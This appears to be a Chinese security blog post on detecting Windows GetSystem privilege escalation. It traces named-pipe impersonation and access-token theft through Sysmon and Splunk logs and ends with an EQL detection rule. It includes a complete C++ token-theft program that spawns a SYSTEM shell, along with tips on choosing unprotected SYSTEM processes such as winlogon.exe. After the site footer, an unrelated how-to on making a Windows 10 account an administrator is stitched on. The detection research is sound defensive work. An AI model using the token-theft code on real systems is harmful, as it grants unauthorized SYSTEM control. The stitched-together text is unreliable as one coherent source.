在 《基于異常行為檢測CobaltStrike》 一文里,簡單提及過 CobaltStrike 的提權方式,當時受限于篇幅,沒有深入研究
最近看了幾篇文章,結合對一些數據源的思考,想在這里匯總下部分常見提權手法的攻擊原理和檢測技巧
本文主要關注 GetSystem 的過程,對應 ATT&CK 攻擊框架中的 T1134 – Access Token Manipulation,不涉及 UAC bypass
因為相關名詞較多,例如 logon session 和 access token,過程理解可能需要一定的前置知識
這些都寫進來怕顯得文章又臭又長,以后有精力再另起一篇總結下知識背景吧
以下主要選擇兩種技術對象作為演示實例—— 命名管道提權 和 訪問令牌竊取
還是從最經典的 meterpreter 中的 getsystem 命令講起,因為有 源碼 可供參考,更方便讀者理解
其代碼注釋中也簡單解釋了下工作原理和前置條件:
Elevate from local admin to local system via Named Pipe Impersonation.
We spawn a cmd.exe under local system which then connects to our named pipe and we impersonate this client.
This can be done by an Administrator without the need for .
Works on 2000, XP, 2003 and 2008 for all local administrators. On Vista and 7 it will only work if the host process has been elevated through UAC first. Does not work on NT4.
該技術的核心在于對 ImpersonateNamedPipeClient API 的利用,通過命名管道的服務端進程模仿客戶端進程的訪問令牌,獲取 SYSTEM 權限
關于該 API 的詳細說明,具體內容可以參考 官方文檔
當然,想調用它,前提是進程具備 SeImpersonatePrivilege 的權限,而這通常意味著我們已經是 Admin 用戶了
對照源代碼,我大致拆解了下該模塊具體的實現步驟:
1) getsystem 新建一個線程創建命名管道并等待服務發來的連接 (服務端)
2) getsystem 創建了一個以 SYSTEM 權限運行的 Windows 服務,該服務會向命名管道發起連接 (客戶端)
3) 啟動該服務,向目標命名管道發起連接 (客戶端 -> 服務端)
4) 該進程(服務端)接收連接,調用 ImpersonateNamedPipeClient,從而模仿了 SYSTEM 權限的訪問令牌
5) 完成提權過程后,停止并刪除該服務
先簡單的復現一下,然后讓我們去日志中一一驗證 getsystem 的行為軌跡
這一步在 sysmon 中有對應的 EID 17 (Pipe Created) 日志記錄,很容易就能觀測到
另外,在時間節點附近,結合該進程對應的 Guid 我們還能看到它更多的動作,文中后半部分有所演示
這一步我們可以借助 Windows 系統日志觀測到 EID 7045 (A new service was installed in the system) 的事件發生
不過我習慣了使用 sysmon,但是其日志類型中并沒有涉及到 Windows 服務,那是不是就束手無策了呢?
這里需要了解一個小竅門:Windows 安裝服務的時候會寫入注冊表的特定位置
這一知識可以應用在檢測 Windows 可疑服務的創建,比如注冊表鍵值中包含 powershell 敏感命令、base64 編碼、特殊路徑等
那么借助以下命令,我們就能定位到這一步創建的服務名稱和命令參數等信息
index=windows EventCode=13 TargetObject="HKLM\System\CurrentControlSet\Services\*\ImagePath"
從上圖結果中能很明顯的看出,該服務啟動后(此時尚未啟動)會向服務端的命名管道寫入數據
關于 Windows 服務的啟動,這里有個很有意思的細節
本來我還愁找不到相應的系統日志來監測服務的啟動行為,但是經過多次實驗后,卻發現每次都會伴隨著 EID 7009 (服務連接超時)的發生
這時我才留意到源碼中的這行注釋,突然想起來,類似 cmd.exe 這種非有效的服務,它不會向服務管理器返回信號
例如,如果我們在命令行中手動創建個簡易的服務,然后再看看事件管理器中的系統日志
由此引起的 EID 7009,同樣可以作為我們判斷 getsystem 命令執行過程中啟動服務的證據
而服務啟動后,我們可以結合前面分析的命令行參數,檢索到其觸發 EID 1(Process Create) 的相應動作
該命令向服務端命名管道發起連接,這一行為會被 sysmon 的 EID 18 (Pipe Connected) 記錄到
API 的調用暫無對應日志記錄,但是可以根據用戶名(User)和進程完整性(IntegrityLevel)等字段定位到提權的結果
如果這時我們在 MSF 的控制臺執行 shell 命令,可以看到一個 SYSTEM 權限的 cmd.exe 誕生,而其父進程卻是非 SYSTEM 權限
這一特征也標識著整個提權行為的順利完成,更多的原理細節和檢測步驟可以參考文章后半部分的內容
最后一步容易被很多人忽視——痕跡清除,這一行為在成熟的攻擊框架中做得很到位,但同時也有利于我們做行為檢測分析
我也是通過分析源碼才記起來加上這一檢測點,從而在日志中發現了服務刪除的動作
除了上面例子中使用到的 ImpersonateNamedPipeClient 之外,還有一些 Windows API 也能幫助我們完成到 SYSTEM 權限的提升
例如 ImpersonateLoggedOnUser、DuplicateTokenEx 等等
以上圖右邊最經典的提權路線為例,我簡單解釋下各步驟:
1) 通過 OpenProcess 獲取 SYSTEM 權限進程的句柄
2) 通過 OpenProcessToken 獲取該進程的訪問令牌
3) 通過 DuplicateTokenEx 函數復制該令牌
4) 通過 CreateProcessWithTokenW 創建具備同樣訪問令牌的進程
貼一段自己測試時使用的代碼,參考 https://github.com/slyd0g/PrimaryTokenTheft 修改而來
#include <windows.h>
#include <iostream>
int main(int argc, char** argv) {
// Grab PID from command line argument
char *pid_c=argv[1];
DWORD PID_TO_IMPERSONATE=atoi(pid_c);
HANDLE tokenHandle=NULL;
HANDLE duplicateTokenHandle=NULL;
STARTUPINFOW startupInfo;
PROCESS_INFORMATION processInformation;
wchar_t cmdline[]=L"C:\\Windows\\System32\\cmd.exe";
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb=sizeof(STARTUPINFO);
HANDLE processHandle=OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError()==NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
BOOL getToken=OpenProcessToken(processHandle, TOKEN_DUPLICATE, &tokenHandle);
if (GetLastError()==NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
BOOL duplicateToken=DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError()==NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
BOOL createProcess=CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError()==NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}
這個過程建議大家有時間的話還是自己手動操作一遍,其中有很多坑需要留意,但是對于我們加深理解很有幫助
比如我測試時發現好幾次 OpenProcess() 成功了,但是 OpenProcessToken() 卻報出 ERROR_ACCESS_DENIED (0x5) 的錯誤
后來才知道原來是因為我不是該進程的 TOKEN_OWNER
另外,選擇具備 SYSTEM 權限的目標時,要注意 Protected Process Light (PPL) 這個特性
受 PPL 保護的進程需要指定 PROCESS_QUERY_LIMITED_INFORMATION 權限時才能執行 OpenProcess(),不然也會報錯
針對該特點,也有非常典型的攻擊手法,例如 winlogon.exe 具備 SYSTEM 權限但又不受該機制保護,所以經常被利用
關于上述提到所需要的進程訪問權限等相關信息,更多內容可以參考 這里
更多的實現原理和過程步驟,我就不再贅述了,感興趣的可以根據這篇 文章 逐步復現
接下來,我會根據復現結果的日志,借助 sysmon 和 splunk 完成 getsystem 過程中的細節分析
首先結合前面的結論,通過對父子進程的權限繼承關系進行判斷,定位到相關進程主體
拿到父進程的 Guid —— {534e2476-46b7-61dd-5508-000000000b00},然后溯源其相關行為
index=windows (ParentProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}" OR ProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}" OR SourceProcessGUID="{534e2476-46b7-61dd-5508-000000000b00}" OR TargetProcessGuid="{534e2476-46b7-61dd-5508-000000000b00}")
這其中,我們能發現一條很顯眼的日志,由 token.exe 向 winlogon.exe 發起的進程間訪問,注意它的訪問權限
PS:sysmon 的 EID 10 中相應字段名為 ProcessGUID,而不是 ProcessGuid
這里對應的就是我們代碼中 OpenProcess() 的過程,因為日志里 0x1400 的訪問權限正是 PROCESS_QUERY_INFORMATION
這條日志緊隨其后的行為便是上述的 token.exe 進程創建了 SYSTEM 權限的 cmd.exe
其中的 OpenProcessToken()、DuplicateTokenEx() 等行為就不是 sysmon 的能力范圍了
關于這一點,我們需要熟悉 sysmon 的日志記錄原理 ——
“為了檢測 ProcessAccess 類型的日志,sysmon 采用了 ObRegisterCallbacks 注冊線程、進程和桌面句柄操作的回調列表,以便任何進程嘗試使用 OpenProcess(), NtOpenProcess(), NtAlpcOpenSenderProcess() 等API打開其他進程的句柄時都能夠被檢測到”
寫到這里了想偷個懶,針對該攻擊技術,我就直接引用一段國外研究員用 EQL 寫的一段檢測語句吧:
sequence with maxspan=1m
[process where event.code : "10" and
/*
GrantedAccess values in scope
0x1000 - PROCESS_QUERY_LIMITED_INFORMATION - PPL
0x1400 - PROCESS_QUERY_INFORMATION
0x1F3FFF - PROCESS_ALL_ACCESS
*/
winlog.event_data.GrantedAccess :
("0x1000", "0x1400", "0x1F3FFF") and
winlog.event_data.TargetUser : "NT AUTHORITY\\SYSTEM" and not
winlog.event_data.SourceUser : "NT AUTHORITY\\*" and
winlog.event_data.TargetImage : "?:\\Windows\\*.exe"] by process.entity_id
[process where event.code : "1" and
winlog.event_data.LogonId : "0x3e7" and
winlog.event_data.TerminalSessionId : "1" and
not winlog.event_data.ParentUser : "NT AUTHORITY\\*"] by process.parent.entity_id
本質上就是對前面兩個檢測點做關聯分析,只要前面的研究功夫下到位了,這里能施展的空間才會充足
像本文中的第一個例子,分析命名管道提權的手法時,涉及的檢測點比較豐富,這時在上層做復雜規則檢測就會有更多可作為的地方
要做好威脅檢測,對攻擊和防御兩方面的知識都得做到爛熟于心,真正做到知己知彼其實需要長時間的積累
上述分析過程主要用到 sysmon 記錄日志,但涉及到 Windows API 的調用,sysmon 其實是不足以勝任的
我自己在實際分析過程中,經常遇到找不到相應日志的情況,這時如果對日志記錄原理的缺乏了解,往往會無從下手
而如果缺乏對攻擊原理的熟悉,經常會忽視許多潛在的檢測點,更別提去追溯相應日志了
從原理出發或者是從特征溯源,對攻擊行為自上而下的分析和自下而上的分析其實是缺一不可的,結合使用才是正確的姿勢
本文由慕長風原創發布
轉載,請參考轉載聲明,注明出處: https://www.anquanke.com/post/id/265507
安全客 - 有思想的安全新媒體
有時候,我們會遇到這樣的情況,就是當前Win10系統中竟然沒有管理員帳戶,自己的帳戶只是沒有管理員權限的“標準用戶”。怎么辦呢?因為很多操作是必須有管理員權限才可以的。下面MS酋長就來分享一下如何把自己的標準用戶帳戶提升為管理員。
首先,我們來確認一下當前Windows10系統中是不是確實沒有管理員用戶(除了Windows默認超級管理員帳戶Administrator)。
Win + R 快捷鍵調出“運行”對話框,輸入“cmd”,確定,打開“命令提示符”,運行如下命令:
net localgroup Administrators
如果返回的結果顯示“成員”只有“Administrator”一個賬戶。如圖:
那么說明當前Win10系統確實沒有管理員用戶。
如果想為自己的帳戶提權,那么就需要使用Administrator帳戶登錄系統。而默認情況下,微軟為了保證Win10系統安全,Administrator帳戶是處于禁用狀態的,我們要想使用Administrator帳戶登錄系統有兩種選擇:
MS酋長之前已經分享過Win10啟用Administrator帳戶的方法。但是因為“無法使用內置管理員帳戶打開應用商店UWP應用”,并且為了系統安全起見,所以在為把當前帳戶提權為管理員之后,你還需要再禁用Administrator帳戶。 (MS酋長本來插入的有相關文章的鏈接,但這里無法顯示,所以請點擊本文底部的“了解更多”查看原文即可看到相關文章鏈接)
進入Win10安全模式,即可在登錄界面看到Administrator帳戶,登錄以后在安全模式下操作即可。
以上兩種Administrator登錄方式任選一種即可,然后按照下面的方法把當前賬戶提權為管理員:
Win + R 快捷鍵調出“運行”對話框,輸入“netplwiz”,確定,打開“高級用戶賬戶控制面板”。如圖:
選中當前標準用戶,點擊“屬性”,在打開的屬性窗口中切換到“組成員”選項卡。如圖:
在“你想授予該用戶何種級別的訪問權限?”下選擇“管理員”,確定,這樣你的標準用戶就已經變成管理員用戶了,重啟后生效。
重啟系統后,你再用自己的帳戶登錄系統,就會發現已經沒有權限問題了,因為你已經是管理員了。